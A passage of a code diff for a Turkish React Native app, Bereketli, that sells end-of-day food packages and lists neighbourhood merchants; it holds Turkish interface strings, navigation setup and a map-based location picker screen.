"registerErrorPasswordMin": "Sifre en az 8 karakter olmali",
"registerErrorPasswordMatch": "Sifreler eslesmhiyor"
},
"splash": {
"subtitle": "Mahallenin uygulamasi",
"tagline": "Gida israfini onle, bereket paylas"
},
"onboarding": {
"slide1Title": "Gida Israfini Onle",
"slide1Desc": "Magazalarin gun sonunda kalan kaliteli urunlerini indirimli fiyatlarla al. Hem tasarruf et, hem dunyaya iyilik yap.",
"slide2Title": "Mahalleni Kesfet",
"slide2Desc": "Yakinindaki firin, manav, kasap, berber ve daha fazlasini bul. Sadakat puani biriktir, odul kazan.",
"slide3Title": "Hemen Basla",
"slide3Desc": "Konumunu paylas, yakinindaki surpriz paketleri ve esnaflari kesfet!",
"locationLabel": "Konum",
"locationDesc": "Yakinindaki paketleri goster",
"notificationLabel": "Bildirimler",
"notificationDesc": "Firsatlardan haberdar ol",
"skip": "Atla",
"next": "Ileri →",
"start": "Basla",
"micLabel": "Mikrofon",
"micDesc": "AI asistanla konusmak icin",
"cameraLabel": "Kamera",
"cameraDesc": "QR kod ve fotograf icin"
},
"locationPicker": {
"title": "Konum Sec",
"useMyLocation": "Konumumu Kullan",
"confirm": "Onayla",
"permissionRequired": "Konum Izni Gerekli",
"permissionMessage": "Ayarlardan konum iznini acin.",
"gpsError": "GPS Sinyali Alinamadi",
"gpsErrorMessage": "Acik alanda tekrar deneyin veya haritadan pin ile secin."
},
"packages": {
"deliveryAddress": "Teslimat adresi",
"selectLocation": "Konum sec",
"searchPlaceholder": "Paket veya magaza ara...",
"sortLabel": "Siralama",
"sortDistance": "Mesafe",
"sortPrice": "Fiyat",
"sortRating": "Puan",
"delivery": "Teslimat",
"discounted": "Indirimli",
"lastFew": "Son birkac",
"priceRange": "Fiyat Araligi",
"referralBannerTitle": "Davet Et & Kazan",
"referralBannerDesc": "Arkadasini getir, puan kazan!",
"categoryAll": "Tumu",
"categoryBakery": "Firin",
"categoryRestaurant": "Restoran",
"categoryPastry": "Pastane",
"categoryMarket": "Market",
"nearbyPackages": "Yakinindaki Paketler",
"categoryPackages": "{{category}} Paketleri",
"packageCount": "{{count}} paket",
"emptyTitle": "Yakininda paket yok",
"emptyText": "Mesafeyi artir veya \"Tumu\" secenegini dene",
"notificationPermission": "Bildirim Izni",
"notificationPermissionMsg": "Bildirimlere izin vermeniz gerekiyor. Ayarlardan izin verebilirsiniz.",
"notificationsEnabled": "Bildirimler Acildi",
"notificationsEnabledMsg": "Yeni paketler ve kampanyalardan haberdar olacaksiniz!",
"notificationRegisterFailed": "Bildirim kaydi basarisiz."
},
"packageDetail": {
"title": "Paket Detay",
"notFound": "Paket bulunamadi",
"loadError": "Paket bilgileri yuklenemedi",
"description": "Aciklama",
"details": "Detaylar",
"priceLabel": "Fiyat",
"pickupTime": "Teslim Saati",
"remaining": "Kalan Adet",
"status": "Durum",
"statusActive": "Aktif",
"statusSoldOut": "Tukendi",
"statusExpired": "Suresi Doldu",
"deliveryMethod": "Teslim Yontemi",
"pickup": "Gel Al",
"deliveryToAddress": "Adrese Getirt",
"deliveryAddressPlaceholder": "Teslimat adresinizi girin",
"deliveryAddressRequired": "Teslimat adresi giriniz",
"total": "Toplam",
"purchasing": "Siparis Veriliyor...",
"purchase": "Satin Al",
"orderCreated": "Siparis Olusturuldu",
"orderCreatedMsg": "Siparis #{{orderId}}\nToplam: {{price}} TL\n\nOdeme sayfasina yonlendiriliyorsunuz.",
"viewOrder": "Siparisi Gor",
"orderFailed": "Siparis olusturulamadi. Tekrar deneyin.",
"discount": "%{{percent}} Indirim"
},
"orders": {
"title": "Siparislerim",
"orderCount": "{{count}} siparis",
"qrPickup": "QR Teslim",
"tabPackages": "Paket",
"tabMeals": "Komsu Yemegi",
"emptyPackagesTitle": "Henuz paket siparisiz yok",
"emptyPackagesText": "Paketler sekmesinden ilk siparisizini verin",
"emptyMealsTitle": "Henuz yemek siparisiz yok",
"emptyMealsText": "Komsu sekmesinden ev yemegi siparis edin",
"statusPending": "Bekliyor",
"statusPaid": "Odendi",
"statusPickedUp": "Teslim Alindi",
"statusCancelled": "Iptal Edildi",
"statusRefunded": "Iade Edildi",
"statusAccepted": "Kabul Edildi",
"statusRejected": "Reddedildi",
"statusCompleted": "Tamamlandi",
"mealOrderBadge": "Komsu Yemegi",
"portions": "{{count}} porsiyon"
},
"orderDetail": {
"backLabel": "Geri",
"notFound": "Siparis bulunamadi",
"loadError": "Siparis bilgileri yuklenemedi",
"pickupCode": "Teslim Alma Kodu",
"tokenLabel": "Token",
"qrHint": "Bu QR kodu magaza calisanina gosterin",
"orderDetails": "Siparis Detaylari",
"orderNo": "Siparis No",
"quantity": "Adet",
"unitPrice": "Birim Fiyat",
"total": "Toplam",
"date": "Tarih",
"paymentDate": "Odeme Tarihi",
"pickupDate": "Teslim Tarihi",
"cancelDate": "Iptal Tarihi",
"cancelling": "Iptal Ediliyor...",
"cancelOrder": "Siparisi Iptal Et",
"cancelTitle": "Siparis Iptali",
"cancelMessage": "Bu siparisi iptal etmek istediginizden emin misiniz?",
"cancelConfirm": "Iptal Et",
"cancelSuccess": "Siparisiniz iptal edildi",
"cancelFailed": "Siparis iptal edilemedi",
"reviewButton": "Yorum Yap",
"reviewTitle": "Deneyiminizi Puanlayin",
"reviewPlaceholder": "Yorumunuz (istege bagli)",
"reviewSubmitting": "Gonderiliyor...",
"reviewSubmit": "Gonder",
"reviewRatingRequired": "Lutfen bir puan secin",
"reviewSuccess": "Yorumunuz kaydedildi!",
"reviewSuccessTitle": "Tesekkurler",
"reviewFailed": "Yorum gonderilemedi",
"reviewDone": "Yorumunuz kaydedildi. Tesekkurler!"
},
"mealOrderDetail": {
"qrHint": "Bu QR kodu yemek sahibine gosterin",
"portionLabel": "Porsiyon",
"orderDate": "Siparis Tarihi",
"acceptDate": "Kabul Tarihi",
"deliveryDate": "Teslim Tarihi",
"cancelDate": "Iptal Tarihi"
},
"qrScan": {
"title": "QR Teslim Al",
"verifying": "Dogrulaniyorum...",
"scanPrompt": "QR Kodu Okutun",
"instructions": "Siparisinizi teslim alirken magazadaki QR kodu kameranizla okutun",
"successTitle": "Teslim Alindi!",
"successMessage": "Siparis #{{orderId}} basariyla teslim alindi.\n\nToplam: {{price}} TL",
"errorMessage": "QR kod dogrulanamadi. Tekrar deneyin.",
"retryButton": "Tekrar Dene"
},
"search": {
"placeholder": "Paket, magaza veya kategori ara...",
"popularCategories": "Populer Kategoriler",
"popularSearches": "Populer Aramalar",
"resultCount": "{{count}} sonuc bulundu",
"emptyTitle": "Sonuc bulunamadi",
"emptyText": "Farkli bir arama terimi deneyin"
},
"meals": {
"title": "Komsu Yemekleri",
"subtitle": "Ev yapimi, taze, guvenilir",
"searchPlaceholder": "Yemek veya asci ara...",
"nearbyMeals": "Yakinindaki Yemekler",
"mealCount": "{{count}} yemek",
"pickup": "Gel Al",
"delivery": "Teslimat",
"pickupOrDelivery": "Gel Al / Teslimat",
"lastPortions": "Son {{count}}!",
"perPortion": "/ porsiyon",
"portionCount": "{{count}} porsiyon",
"emptyTitle": "Yakininda ev yemegi yok",
"emptyText": "Mesafeyi artir veya daha sonra tekrar bak"
},
"mealDetail": {
"title": "Yemek Detay",
"notFound": "Yemek bulunamadi",
"defaultCook": "Asci",
"priceLabel": "Fiyat",
"pricePerPortion": "{{price}} TL / porsiyon",
"availableUntil": "Musait",
"availableUntilValue": "{{time}}'e kadar",
"remainingLabel": "Kalan",
"remainingValue": "{{remaining}} / {{total}} porsiyon",
"deliveryLabel": "Teslim",
"pickup": "Gel Al",
"deliveryToAddress": "Adrese Teslimat",
"pickupOrDelivery": "Gel Al / Teslimat",
"portionLabel": "Porsiyon",
"total": "Toplam",
"ordering": "Siparis Veriliyor...",
"soldOut": "Tukendi",
"order": "Siparis Ver",
"orderSuccess": "Siparis Verildi!",
"orderSuccessMsg": "Siparis #{{orderId}}\n{{portions}} porsiyon {{title}}\nToplam: {{total}} TL\n\nAsci onayladiktan sonra bilgilendirileceksiniz.",
"orderFailed": "Siparis olusturulamadi."
},
"merchants": {
"title": "Mahalle Esnafi",
"subtitle": "Puan biriktir, odul kazan",
"searchPlaceholder": "Esnaf veya magaza ara...",
"categoryAll": "Tumu",
"categoryBarber": "Berber",
"categoryCafe": "Kafe",
"categoryButcher": "Kasap",
"categoryGreengrocer": "Manav",
"categoryBakery": "Firin",
"categoryPharmacy": "Eczane",
"categoryTailor": "Terzi",
"categoryOther": "Diger",
"nearbyMerchants": "Yakinindaki Esnaflar",
"merchantCount": "{{count}} esnaf",
"proPlan": "Pro Esnaf",
"businessPlan": "Business",
"emptyTitle": "Yakininda esnaf bulunamadi",
"emptyText": "Mesafeyi artir veya baska bir kategori dene"
},
"merchantDetail": {
"notFound": "Esnaf bulunamadi",
"phoneNotRegistered": "Telefon numarasi kayitli degil.",
"services": "Hizmetler",
"products": "Urunler",
"surprisePackages": "Surpriz Paketler",
"buyButton": "Satin Al",
"loyaltyProgram": "Sadakat Programi",
"loyaltyJoinHint": "Ilk ziyaretinde otomatik katilirsin",
"contact": "Iletisim",
"callSuffix": "Ara",
"appointmentTitle": "Randevu Al",
"appointmentTimes": "Yarin icin uygun saatler:",
"appointmentCreated": "Randevu Olusturuldu!",
"appointmentCreatedMsg": "{{service}}\n{{date}} saat {{time}}\n\nEsnaf onayladiginda bilgilendirileceksiniz.",
"appointmentFailed": "Randevu olusturulamadi.",
"orderCreated": "Siparis Olusturuldu!",
"orderFailed": "Siparis olusturulamadi",
"callAndOrder": "Ara ve Siparis Ver",
"closeButton": "Kapat"
},
"profile": {
"title": "Hesabim",
"defaultUser": "Kullanici",
"editHint": "Duzenle",
"editNameTitle": "Isminizi Duzenleyin",
"namePlaceholder": "Adiniz",
"nameRequired": "Isim bos olamaz",
"nameUpdateFailed": "Isim guncellenemedi",
"ordersLabel": "Siparislerim",
"appointmentsLabel": "Randevularim",
"loyaltyLabel": "Sadakat",
"discoverLabel": "Kesfet",
"surprisePackages": "Surpriz Paketler",
"surprisePackagesDesc": "Yakinindaki indirimli paketler",
"neighborhoodMerchants": "Mahalle Esnafi",
"neighborhoodMerchantsDesc": "Puan biriktir, odul kazan",
"securityLabel": "Guvenlik",
"changePassword": "Sifre Degistir",
"supportLabel": "Destek",
"faq": "Sikca Sorulan Sorular",
"faqDesc": "18 SSS - gercek cevaplar",
"contactLabel": "Iletisim",
"contactEmail": "destek@bereketli.app",
"website": "Web Sitesi",
"websiteUrl": "bereketli.pezkiwi.app",
"version": "Versiyon",
"logout": "Cikis Yap",
"logoutConfirm": "Cikis yapmak istediginizden emin misiniz?",
"logoutCancel": "Iptal",
"deleteAccount": "Hesabimi Sil",
"deleteAccountDesc": "Bu islem geri alinamaz",
"deleteAccountConfirm": "Bu islem geri alinamaz. Hesabiniz ve tum verileriniz kalici olarak silinecektir.",
"deleteAccountButton": "Hesabimi Sil",
"deleteAccountFailed": "Hesap silinemedi. Tekrar deneyin.",
"language": "Dil",
"selectLanguage": "Dil Secin"
},
"changePassword": {
"title": "Sifre Degistir",
"subtitle": "Guvenliginiz icin mevcut sifrenizi girin",
"currentPassword": "Mevcut Sifre",
"currentPasswordPlaceholder": "Mevcut sifreniz",
"newPassword": "Yeni Sifre",
"newPasswordPlaceholder": "En az 8 karakter",
"confirmPassword": "Yeni Sifre Tekrar",
"confirmPasswordPlaceholder": "Yeni sifrenizi tekrarlayin",
"changing": "Degistiriliyor...",
"change": "Sifreyi Degistir",
"allFieldsRequired": "Tum alanlari doldurun",
"passwordMinLength": "Yeni sifre en az 8 karakter olmali",
"passwordMismatch": "Yeni sifreler eslesmiyor",
"success": "Sifreniz degistirildi",
"successTitle": "Basarili",
"failed": "Sifre degistirilemedi. Mevcut sifrenizi kontrol edin."
},
"faq": {
"title": "Sikca Sorulan Sorular",
"categoryAll": "Tumu",
"categoryGenel": "Genel",
"categoryCustomers": "Musteriler",
"categoryBusinesses": "Isletmeler",
"categoryPayment": "Odeme",
"empty": "Henuz SSS eklenmemis"
},
"appointments": {
"title": "Randevularim",
"statusPending": "Bekliyor",
"statusConfirmed": "Onaylandi",
"statusCompleted": "Tamamlandi",
"statusCancelled": "Iptal",
"statusNoShow": "Gelmedi",
"cancelTitle": "Randevu Iptal",
"cancelMessage": "Bu randevuyu iptal etmek istediginizden emin misiniz?",
"cancelConfirm": "Iptal Et",
"cancelFailed": "Randevu iptal edilemedi.",
"durationMin": "{{min}} dk",
"emptyTitle": "Henuz randevunuz yok",
"emptyText": "Esnaf sekmesinden berber veya terzi'ye randevu alabilirsiniz",
"days": {
"sunday": "Pazar",
"monday": "Pazartesi",
"tuesday": "Sali",
"wednesday": "Carsamba",
"thursday": "Persembe",
"friday": "Cuma",
"saturday": "Cumartesi"
}
},
"loyalty": {
"title": "Sadakat Kartlarim",
"stampUnit": "pul",
"pointUnit": "puan",
"visitUnit": "ziyaret",
"redeemButton": "Odul Al",
"notReady": "Henuz hazir degil",
"notReadyMsg": "Odulunuzu almak icin {{progress}} tamamlayin.",
"redeemTitle": "Odul Al",
"redeemMessage": "{{reward}}\n\nOdulunuzu almak istiyor musunuz?",
"redeemSuccess": "Tebrikler!",
"redeemSuccessMsg": "Odulunuz kullanildi.",
"redeemFailed": "Odul alinamadi",
"lastVisit": "Son ziyaret: {{date}}",
"emptyTitle": "Henuz sadakat kartiniz yok",
"emptyText": "Mahalle esnaflarindan alisveris yaparak puan biriktirin",
"exploreMerchants": "Esnaf Kesfet"
},
"chat": {
"title": "Bereketli AI",
"placeholder": "Mesajinizi yazin...",
"greeting": "Merhaba! Ben Bereketli asistaniyim. Size nasil yardimci olabilirim?",
"typing": "yaziyor...",
"error": "Yanit alinamadi, tekrar deneyin",
"suggestPackages": "Yakinimdaki paketler",
"suggestFood": "Ne yiyebilirim?",
"suggestStore": "Magaza oner",
"suggestHez": "HEZ Coin nedir?",
"listening": "Dinliyorum...",
"voiceError": "Ses tanima basarisiz, tekrar deneyin",
"holdToTalk": "Basili tutup konusun"
},
"referral": {
"title": "Davet Et & Kazan",
"totalPoints": "Toplam Puanin",
"pointsUnit": "puan",
"inviteLabel": "Davet",
"completedLabel": "Tamamlanan",
"earnedLabel": "Kazanilan",
"codeTitle": "Davet Kodun",
"copy": "Kopyala",
"copied": "Kopyalandi",
"copiedMsg": "Davet kodun: {{code}}",
"whatsappShare": "WhatsApp ile Paylas",
"share": "Paylas",
"shareText": "Bereketli'ye katil, birlikte kazanalim! Davet kodum: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
"howItWorks": "Nasil Calisir?",
"step1Title": "Arkadasin kayit olur",
"step1Desc": "{{points}}+ puan kazan",
"step2Title": "Ilk siparisini verir",
"step2Desc": "100 puan kazan",
"step3Title": "Ne kadar cok davet",
"step3Desc": "O kadar cok puan!",
"usePoints": "Puanlarini Kullan",
"usePoints1Title": "Paketlerde indirim",
"usePoints1Desc": "Magazalarin belirledigi teklifler",
"usePoints2Title": "HEZ Coin'e cevir",
"usePoints2Desc": "Yakinda",
"historyTitle": "Davet Gecmisi",
"historyEmpty": "Henuz davetiniz yok",
"historyEmptyText": "Kodunuzu paylasin ve puan kazanmaya baslayin"
}
}
@@ -0,0 +1,77 @@
import React, {useEffect, useState} from 'react';
import {NavigationContainer} from '@react-navigation/native';
import {useAuthStore} from '../store/authStore';
import AuthNavigator from './AuthNavigator';
import MainTabNavigator from './MainTabNavigator';
import SplashScreen from '../screens/SplashScreen';
import OnboardingScreen, {ONBOARDING_KEY} from '../screens/OnboardingScreen';
import AiChatScreen from '../screens/chat/AiChatScreen';
import AsyncStorage from '@react-native-async-storage/async-storage';
import {View} from 'react-native';
import {loadSavedLanguage} from '../i18n';
const AI_WELCOME_KEY = '@bereketli_ai_welcomed';
export default function AppNavigator() {
const {isLoggedIn, isLoading, checkAuth} = useAuthStore();
const [showSplash, setShowSplash] = useState(true);
const [showOnboarding, setShowOnboarding] = useState<boolean | null>(null);
const [showAiWelcome, setShowAiWelcome] = useState<boolean | null>(null);
const [langReady, setLangReady] = useState(false);
useEffect(() => {
loadSavedLanguage().finally(() => setLangReady(true));
checkAuth();
AsyncStorage.getItem(ONBOARDING_KEY).then(val => {
setShowOnboarding(val !== 'true');
});
AsyncStorage.getItem(AI_WELCOME_KEY).then(val => {
setShowAiWelcome(val !== 'true');
});
}, [checkAuth]);
if (!langReady) {
return <View style={{flex: 1, backgroundColor: '#2D5016'}} />;
}
if (showSplash) {
return <SplashScreen onFinish={() => setShowSplash(false)} />;
}
if (showOnboarding === null || showAiWelcome === null || isLoading) {
return <View style={{flex: 1, backgroundColor: '#F8F8F8'}} />;
}
if (showOnboarding) {
return <OnboardingScreen onFinish={() => setShowOnboarding(false)} />;
}
if (!isLoggedIn) {
return (
<NavigationContainer>
<AuthNavigator />
</NavigationContainer>
);
}
// First time after login — show AI welcome
if (showAiWelcome) {
return (
<AiChatScreen
navigation={{
goBack: async () => {
await AsyncStorage.setItem(AI_WELCOME_KEY, 'true');
setShowAiWelcome(false);
},
} as never}
route={{} as never}
/>
);
}
return (
<NavigationContainer>
<MainTabNavigator />
</NavigationContainer>
);
}
@@ -0,0 +1,23 @@
import React from 'react';
import {createNativeStackNavigator} from '@react-navigation/native-stack';
import LoginScreen from '../screens/auth/LoginScreen';
import RegisterScreen from '../screens/auth/RegisterScreen';
export type AuthStackParamList = {
Login: undefined;
Register: undefined;
};
const Stack = createNativeStackNavigator<AuthStackParamList>();
export default function AuthNavigator() {
return (
<Stack.Navigator
screenOptions={{
headerShown: false,
}}>
<Stack.Screen name="Login" component={LoginScreen} />
<Stack.Screen name="Register" component={RegisterScreen} />
</Stack.Navigator>
);
}
@@ -0,0 +1,270 @@
import React from 'react';
import {createBottomTabNavigator} from '@react-navigation/bottom-tabs';
import {createNativeStackNavigator} from '@react-navigation/native-stack';
import {View, StyleSheet} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
import {useTranslation} from 'react-i18next';
import {colors} from '../theme';
// Yemek screens
import YemekMapScreen from '../screens/yemek/YemekMapScreen';
import PackageDetailScreen from '../screens/yemek/PackageDetailScreen';
// Komsu screens
import KomsuListScreen from '../screens/komsu/KomsuListScreen';
import MealDetailScreen from '../screens/komsu/MealDetailScreen';
// Orders screens
import OrdersScreen from '../screens/yemek/OrdersScreen';
import OrderDetailScreen from '../screens/yemek/OrderDetailScreen';
import QrScanScreen from '../screens/yemek/QrScanScreen';
import MealOrderDetailScreen from '../screens/yemek/MealOrderDetailScreen';
import SearchScreen from '../screens/yemek/SearchScreen';
import LocationPickerScreen from '../screens/LocationPickerScreen';
// Esnaf screens
import EsnafMapScreen from '../screens/esnaf/EsnafMapScreen';
import MerchantDetailScreen from '../screens/esnaf/MerchantDetailScreen';
// Profil screens
import ProfileScreen from '../screens/profile/ProfileScreen';
import ChangePasswordScreen from '../screens/profile/ChangePasswordScreen';
import FaqScreen from '../screens/profile/FaqScreen';
import AppointmentsScreen from '../screens/profile/AppointmentsScreen';
import LoyaltyCardsScreen from '../screens/profile/LoyaltyCardsScreen';
import ReferralScreen from '../screens/profile/ReferralScreen';
import AiChatScreen from '../screens/chat/AiChatScreen';
// ── Stack Param Lists ────────────────────────────
export type YemekStackParamList = {
YemekMap: undefined;
PackageDetail: {packageId: string; storeName?: string; storeAddress?: string};
OrderDetail: {orderId: string};
LocationPicker: undefined;
Search: undefined;
Referral: undefined;
AiChat: undefined;
};
export type KomsuStackParamList = {
KomsuList: undefined;
MealDetail: {mealId: string; cookName?: string};
AiChat: undefined;
};
export type OrdersStackParamList = {
OrdersMain: undefined;
OrderDetail: {orderId: string};
MealOrderDetail: {order: any};
QrScan: undefined;
};
export type EsnafStackParamList = {
EsnafMap: undefined;
MerchantDetail: {merchantId: string};
AiChat: undefined;
};
export type ProfileStackParamList = {
ProfileMain: undefined;
ChangePassword: undefined;
Orders: undefined;
OrderDetail: {orderId: string};
YemekMap: undefined;
EsnafMap: undefined;
Faq: undefined;
Appointments: undefined;
LoyaltyCards: undefined;
Referral: undefined;
AiChat: undefined;
};
// ── Stack Navigators ────────────────────────────
const YemekStack = createNativeStackNavigator<YemekStackParamList>();
function YemekNavigator() {
return (
<YemekStack.Navigator screenOptions={{headerShown: false}}>
<YemekStack.Screen name="YemekMap" component={YemekMapScreen} />
<YemekStack.Screen name="PackageDetail" component={PackageDetailScreen} />
<YemekStack.Screen name="OrderDetail" component={OrderDetailScreen} />
<YemekStack.Screen name="LocationPicker" component={LocationPickerScreen} />
<YemekStack.Screen name="Search" component={SearchScreen} />
<YemekStack.Screen name="Referral" component={ReferralScreen} />
<YemekStack.Screen name="AiChat" component={AiChatScreen} />
</YemekStack.Navigator>
);
}
const KomsuStack = createNativeStackNavigator<KomsuStackParamList>();
function KomsuNavigator() {
return (
<KomsuStack.Navigator screenOptions={{headerShown: false}}>
<KomsuStack.Screen name="KomsuList" component={KomsuListScreen} />
<KomsuStack.Screen name="MealDetail" component={MealDetailScreen} />
<KomsuStack.Screen name="AiChat" component={AiChatScreen} />
</KomsuStack.Navigator>
);
}
const OrdersStack = createNativeStackNavigator<OrdersStackParamList>();
function OrdersNavigator() {
return (
<OrdersStack.Navigator screenOptions={{headerShown: false}}>
<OrdersStack.Screen name="OrdersMain" component={OrdersScreen} />
<OrdersStack.Screen name="OrderDetail" component={OrderDetailScreen} />
<OrdersStack.Screen name="MealOrderDetail" component={MealOrderDetailScreen} />
<OrdersStack.Screen name="QrScan" component={QrScanScreen} />
</OrdersStack.Navigator>
);
}
const EsnafStack = createNativeStackNavigator<EsnafStackParamList>();
function EsnafNavigator() {
return (
<EsnafStack.Navigator screenOptions={{headerShown: false}}>
<EsnafStack.Screen name="EsnafMap" component={EsnafMapScreen} />
<EsnafStack.Screen name="MerchantDetail" component={MerchantDetailScreen} />
<EsnafStack.Screen name="AiChat" component={AiChatScreen} />
</EsnafStack.Navigator>
);
}
const ProfileStack = createNativeStackNavigator<ProfileStackParamList>();
function ProfileNavigator() {
return (
<ProfileStack.Navigator screenOptions={{headerShown: false}}>
<ProfileStack.Screen name="ProfileMain" component={ProfileScreen} />
<ProfileStack.Screen name="ChangePassword" component={ChangePasswordScreen} />
<ProfileStack.Screen name="Orders" component={OrdersScreen} />
<ProfileStack.Screen name="OrderDetail" component={OrderDetailScreen} />
<ProfileStack.Screen name="YemekMap" component={YemekMapScreen} />
<ProfileStack.Screen name="EsnafMap" component={EsnafMapScreen} />
<ProfileStack.Screen name="Faq" component={FaqScreen} />
<ProfileStack.Screen name="Appointments" component={AppointmentsScreen} />
<ProfileStack.Screen name="LoyaltyCards" component={LoyaltyCardsScreen} />
<ProfileStack.Screen name="Referral" component={ReferralScreen} />
<ProfileStack.Screen name="AiChat" component={AiChatScreen} />
</ProfileStack.Navigator>
);
}
// ── Tab Icon Component (vector icons like YS) ──
// ── Raised Center Button (YS style cart) ────────
function CenterTabIcon({focused}: {focused: boolean}) {
return (
<View style={centerStyles.outer}>
<View style={[centerStyles.circle, focused && centerStyles.circleFocused]}>
<Icon name="shopping-outline" size={28} color="#FFFFFF" />
</View>
</View>
);
}
const centerStyles = StyleSheet.create({
outer: {
alignItems: 'center',
justifyContent: 'center',
top: -18,
},
circle: {
width: 58,
height: 58,
borderRadius: 29,
backgroundColor: colors.primary,
justifyContent: 'center',
alignItems: 'center',
shadowColor: colors.primary,
shadowOffset: {width: 0, height: 6},
shadowOpacity: 0.4,
shadowRadius: 12,
elevation: 12,
},
circleFocused: {
backgroundColor: colors.primaryDark,
},
});
// ── Tab Navigator ───────────────────────────────
const Tab = createBottomTabNavigator();
export default function MainTabNavigator() {
const {t} = useTranslation();
const insets = useSafeAreaInsets();
const bottomPadding = Math.max(insets.bottom, 34);
return (
<Tab.Navigator
screenOptions={{
headerShown: false,
tabBarActiveTintColor: colors.primary,
tabBarInactiveTintColor: '#6B7280',
tabBarStyle: {
backgroundColor: '#FFFFFF',
borderTopWidth: 0,
height: 60 + bottomPadding,
paddingBottom: bottomPadding,
paddingTop: 8,
elevation: 24,
shadowColor: '#000',
shadowOffset: {width: 0, height: -6},
shadowOpacity: 0.12,
shadowRadius: 16,
},
tabBarLabelStyle: {
fontSize: 11,
fontWeight: '700',
marginTop: 2,
},
}}>
<Tab.Screen
name="Paketler"
component={YemekNavigator}
options={{
tabBarLabel: t('tabs.paketler'),
tabBarIcon: ({color}) => (
<Icon name="shopping" size={26} color={color} />
),
}}
/>
<Tab.Screen
name="Komsu"
component={KomsuNavigator}
options={{
tabBarLabel: t('tabs.komsu'),
tabBarIcon: ({color}) => (
<Icon name="home-group" size={26} color={color} />
),
}}
/>
<Tab.Screen
name="Siparis"
component={OrdersNavigator}
options={{
tabBarLabel: '',
tabBarIcon: ({focused}) => <CenterTabIcon focused={focused} />,
}}
/>
<Tab.Screen
name="Esnaf"
component={EsnafNavigator}
options={{
tabBarLabel: t('tabs.esnaf'),
tabBarIcon: ({color}) => (
<Icon name="store" size={26} color={color} />
),
}}
/>
<Tab.Screen
name="Profil"
component={ProfileNavigator}
options={{
tabBarLabel: t('tabs.hesabim'),
tabBarIcon: ({color}) => (
<Icon name="account" size={26} color={color} />
),
}}
/>
</Tab.Navigator>
);
}
@@ -0,0 +1,153 @@
import React, {useState, useEffect} from 'react';
import {View, Text, TouchableOpacity, StyleSheet, Alert} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import MapView, {Marker, Region} from 'react-native-maps';
import {useTranslation} from 'react-i18next';
import {colors} from '../theme';
import {useLocationStore} from '../store/locationStore';
// Default: Istanbul center (for demo)
const DEFAULT_REGION: Region = {
latitude: 41.0082,
longitude: 28.9784,
latitudeDelta: 0.05,
longitudeDelta: 0.05,
};
export default function LocationPickerScreen({navigation}: any) {
const {t} = useTranslation();
const {latitude, longitude, setLocation, updateLocation} = useLocationStore();
const insets = useSafeAreaInsets();
const [region, setRegion] = useState<Region>(
latitude && longitude
? {latitude, longitude, latitudeDelta: 0.01, longitudeDelta: 0.01}
: DEFAULT_REGION,
);
const [pin, setPin] = useState({
latitude: latitude || DEFAULT_REGION.latitude,
longitude: longitude || DEFAULT_REGION.longitude,
});
useEffect(() => {
// Silently try to get location on mount — no alerts
updateLocation().then(() => {
const store = useLocationStore.getState();
if (store.latitude && store.longitude) {
setPin({latitude: store.latitude, longitude: store.longitude});
setRegion({
latitude: store.latitude,
longitude: store.longitude,
latitudeDelta: 0.01,
longitudeDelta: 0.01,
});
}
// If failed, map shows default region — user can pick manually
});
// eslint-disable-next-line react-hooks/exhaustive-deps -- updateLocation is a stable zustand store action
}, []);
const handleConfirm = () => {
setLocation(pin.latitude, pin.longitude);
navigation.goBack();
};
const handleUseMyLocation = async () => {
await updateLocation();
const store = useLocationStore.getState();
if (store.latitude && store.longitude) {
setPin({latitude: store.latitude, longitude: store.longitude});
setRegion({
latitude: store.latitude,
longitude: store.longitude,
latitudeDelta: 0.01,
longitudeDelta: 0.01,
});
} else if (!store.permissionGranted) {
Alert.alert(t('locationPicker.permissionRequired'), t('locationPicker.permissionMessage'));
} else {
Alert.alert(t('locationPicker.gpsError'), t('locationPicker.gpsErrorMessage'));
}
};
return (
<View style={styles.container}>
{/* Header */}
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<TouchableOpacity style={styles.backBtn} onPress={() => navigation.goBack()}>
<Text style={styles.backIcon}>{'\u2190'}</Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{t('locationPicker.title')}</Text>
<View style={{width: 40}} />
</View>
{/* Map */}
<MapView
style={styles.map}
region={region}
onRegionChangeComplete={setRegion}
onPress={e => {
setPin(e.nativeEvent.coordinate);
}}>
<Marker
coordinate={pin}
draggable
onDragEnd={e => setPin(e.nativeEvent.coordinate)}
/>
</MapView>
{/* Bottom panel */}
<View style={[styles.bottomPanel, {paddingBottom: Math.max(insets.bottom, 20)}]}>
<Text style={styles.coordText}>
{pin.latitude.toFixed(4)}, {pin.longitude.toFixed(4)}
</Text>
<TouchableOpacity style={styles.myLocationBtn} onPress={handleUseMyLocation}>
<Text style={styles.myLocationText}>📍 {t('locationPicker.useMyLocation')}</Text>
</TouchableOpacity>
<TouchableOpacity style={styles.confirmBtn} onPress={handleConfirm}>
<Text style={styles.confirmText}>{t('locationPicker.confirm')}</Text>
</TouchableOpacity>
</View>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
header: {
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
paddingHorizontal: 16, paddingBottom: 12, backgroundColor: colors.primary,
zIndex: 10,
},
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
backIcon: {fontSize: 22, color: '#FFFFFF'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
map: {flex: 1},
bottomPanel: {
backgroundColor: '#FFFFFF',
paddingHorizontal: 20,
paddingTop: 16,
borderTopLeftRadius: 20,
borderTopRightRadius: 20,
shadowColor: '#000',
shadowOffset: {width: 0, height: -4},
shadowOpacity: 0.1,
shadowRadius: 12,
elevation: 10,
},
coordText: {
fontSize: 13, color: '#9CA3AF', textAlign: 'center', marginBottom: 12,
},
myLocationBtn: {
paddingVertical: 12, borderRadius: 12,
borderWidth: 1, borderColor: colors.primary,
alignItems: 'center', marginBottom: 10,
},
myLocationText: {fontSize: 15, fontWeight: '600', color: colors.primary},
confirmBtn: {
backgroundColor: colors.primary, borderRadius: 12,
paddingVertical: 16, alignItems: 'center',
},
confirmText: {fontSize: 16, fontWeight: '700', color: '#FFFFFF'},
});
@@ -0,0 +1,336 @@
import React, {useState, useRef} from 'react';
import {
View,
Text,
StyleSheet,
Dimensions,
TouchableOpacity,
FlatList,
Image,
